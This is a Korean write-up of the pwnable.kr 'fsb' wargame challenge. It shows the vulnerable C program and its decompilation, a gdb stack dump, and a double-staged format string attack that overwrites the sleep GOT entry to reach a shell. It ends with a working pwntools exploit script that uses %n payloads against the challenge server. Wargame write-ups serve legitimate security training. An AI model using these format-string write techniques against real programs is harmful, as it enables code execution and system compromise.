[pwnable.kr]fsb

이 바이너리 소스코드다.

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
	char* args[]={"/bin/sh", 0};
	int i;

	char*** pargv = &argv;
	char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
	*pargv=0;
	*penvp=0;

	for(i=0; i<4; i++){
		printf("Give me some format strings(%d)\n", i+1);
		read(0, buf, 100);
		printf(buf);
	}

	printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
	return 0;
}

int main(int argc, char* argv[], char** envp){

	int fd = open("/dev/urandom", O_RDONLY);
	if( fd==-1 || read(fd, &key, 8) != 8 ){
		printf("Error, tell admin\n");
		return 0;
	}
	close(fd);

	alloca(0x12345 & key);

	fsb(argv, envp); // exploit this format string bug!
	return 0;
}

여기 printf(buf); 에서 포맷스트링 버그가 터진다. 근데 buf가 전역변수이라는 점이다. Double Staged FSB로 풀면 될거 같다.

int __cdecl fsb(_BYTE **a1, _BYTE **a2)
{
  char *path; // [esp+24h] [ebp-24h]
  int v4; // [esp+28h] [ebp-20h]
  int k; // [esp+2Ch] [ebp-1Ch]
  _BYTE **i; // [esp+30h] [ebp-18h]
  _BYTE *j; // [esp+34h] [ebp-14h]
  _DWORD *v8; // [esp+38h] [ebp-10h]
  _DWORD *v9; // [esp+3Ch] [ebp-Ch]

  path = "/bin/sh";
  v4 = 0;
  v8 = &a1;
  v9 = &a2;
  for ( i = a1; *i; ++i )
  {
    for ( j = *i; *j; ++j )
      *j = 0;
  }
  for ( i = a2; *i; ++i )
  {
    for ( j = *i; *j; ++j )
      *j = 0;
  }
  *v8 = 0;
  *v9 = 0;
  for ( k = 0; k <= 3; ++k )
  {
    printf("Give me some format strings(%d)\n", k + 1);
    read(0, buf, 100u);
    printf(buf);
  }
  puts("Wait a sec...");
  sleep(3u);
  puts("key : ");
  read(0, buf2, 100u);
  if ( strtoull(buf2, 0, 10) == key )
  {
    puts("Congratz!");
    execve(path, &path, 0);
  }
  else
  {
    puts("Incorrect key ");
  }
  return 0;
}

read받을 때 esp를 보면 0xffe21248을 보면 0xffe21260을 가르키고 있다. 이곳을 덮으면 0xffe21260에 값이 써질 것이다. 그리고 0xffe21260을 덮으면 처음 덮었던 곳이 두번째 덮은 값으로 바뀔거다.

(gdb) x/30wx $esp
0xffe21210:	0x00000000	0x0804a100	0x00000064	0x00000000
0xffe21220:	0x00000000	0x00000000	0x00000000	0x00000000
0xffe21230:	0x00000000	0x08048870	0x00000000	0x00000000
0xffe21240:	0xffe335c4	0xffe33fe9	0xffe21260	0xffe21264
0xffe21250:	0x00000000	0x00000000	0xffe334b8	0x08048791
0xffe21260:	0x00000000	0x00000000	0x00000000	0x00000000
0xffe21270:	0x00000000	0x00000000	0x00000000	0x00000000

익스 시나리오는 14번째 스택에 sleep@got로 덮어주면 20번째 스택에 값이 써지니까 거기를 execve실행시켜주는 곳으로 got overwrite시키면 sleep을 실행시키면 execve()를 실행할 수 있다.

exploit.py

from pwn import *

e = ELF('./fsb')
#p = process('./fsb')

s = ssh('fsb','pwnable.kr',port=2222,password='guest')
p = s.process('./fsb')
# sleep@got : 134520840
p.sendafter('(1)\n','%134520836c%14$n') # sleep@got
p.sendafter('(2)\n','%134514335c%20$n') # execve

p.interactive()